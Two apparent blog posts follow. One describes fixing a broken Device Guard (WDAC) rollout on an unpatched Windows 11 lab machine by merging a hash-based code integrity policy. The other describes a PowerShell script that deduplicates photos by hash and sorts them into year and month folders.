Labs don't tend to follow the best practices or any security standards, they're quick dirty installations for developing and messing around. Here's some food for thought the next time you're wanting to test Applocker or Windows Defender Application Control (WADC) aka Device Guard, you may wish to at least patch. For the most part, deploying Domain Infrastructure, scripts and services works great, until Device Guard is deployed to an unpatched Windows 11 client. Firstly the steps on how to configure Device Guard, then the fun... DeviceGuardBasic.ps1 script can be downloaded from (here). Run the script as Admin and point the Local GPO to Initial.bin following the help. Device Guard is set to enforced, no audit mode for me, that's for wimps, been here hundreds of times......what's the worse that can happen..... arrghhhhh. The first indication Windows 11 had issues was 'Settings' crashed upon opening. This isn't my first rodeo, straight to the eventlogs. Ah, a bloodbath of red Code Integrity errors complaining that a file hasn't been signed correctly. How could this be.... the files are Microsoft files. This doesn't look good, the digital signature can't be verified meaning the signing certificate isn't in the Root Certificate Store for the Computer. This is not the first time I've seen the 'Microsoft Development PCA 2014' certificate. A few years back a sub-optimal Office 2016 update prevented Word, PowerPoint and Excel from launching. It was Applocker protecting me from the Microsoft Development certificate at that time. Well done Microsoft, I see your test and release cycle hasn’t improved. A Windows update and all is fine….right.....as if. I'm unable to click on the Install updates button, it's part of Settings and no longer accessible. Bring back Control Panel. No way I’m waiting for Windows to get around to installing the updates by itself. The choices: Disable Device Guard by removing the GPO and deleting the SIPolicyp7b file. Create an additional policy based on hashes. Start again, 2 hours effort, most of that waiting for updates to install. Creating an additional policy based on hashes and then merging them into the ‘initial’ policy allows for testing Device Guard's behaviour. Does Device Guard prevent untrusted and poorly signed files from running when hashes are present? Observed behaviour is for Device Guard policy to create hashes for unsigned files as a fallback. The new and improved Device Guard script, aptly named 'DeviceGuard-withMerge.ps1' can be downloaded from (here). The only additional lines of note are the New-CIPolicy to create only hashes for the “C\Windows\SystemApps” directory and to merge the 2 XML policy files. New-CIPolicy -Level Hash -FilePath $HashCIPolicy -UserPEs 3> $HashCIPolicyTxt -ScanPath "C:\Windows\SystemApps\" Merge-CIPolicy -PolicyPaths $IntialCIPolicy,$HashCIPolicy -OutputFilePath $MergedCIPolicy The result, 'Settings' now works despite Microsoft's best effort to ruin my day. Creating Device Guard policies based on hashes for files incorrectly signed by Microsoft's internal development CA is resolved. Below is the proof, 'Settings' is functional even with those dodgy files. Conclusion: This may come as a shock to some….. Microsoft does make mistakes and release files incorrectly sighed… shocking. Device Guard will allow files to run providing the hashes are present even when incorrectly signed. Did I learn something, hell yeah! always patch before deploying Device Guard or Applocker. The time spent faffing resolving the issue far exceeded the time it would have taken to patch it in the first place.

Thousands of files, no structure, let's get them organised into months and years with PowerShell. Duplicates are moved to another directory for review. This script was written in response to trying to manage the 10’s of thousands of photos and videos being uploaded to a file share each year. Management is near impossible with Synology’s DS Photo Android App automatically uploading new photo’s to the root of the share. Plus any taken with cameras or other mobiles were also dumped into the same share. A bit of a mess. For the purposes of testing and this blog, a Data directory was created off the root of C:\. A few hundred photos and videos have been dumped… oops… copied into the folder. The files were copied to create duplicates. Download the 'hash and then sort by month' script from @ Tenaka/FileSystem (github.com) Open PowerShell_ise and browse to the downloaded script. Update the $path variable, Ctrl + A and then F8, sit back and wait for the files to be organised. On a serious note, please don't run this without testing. So what does it do: All files are compared based on their file hash to find all duplicates. Duplicate file names are amended to include an incremental number preventing potential loss of data with files overwriting each other. Files that aren't duplicates are moved based on their creation date to Year\Month directory.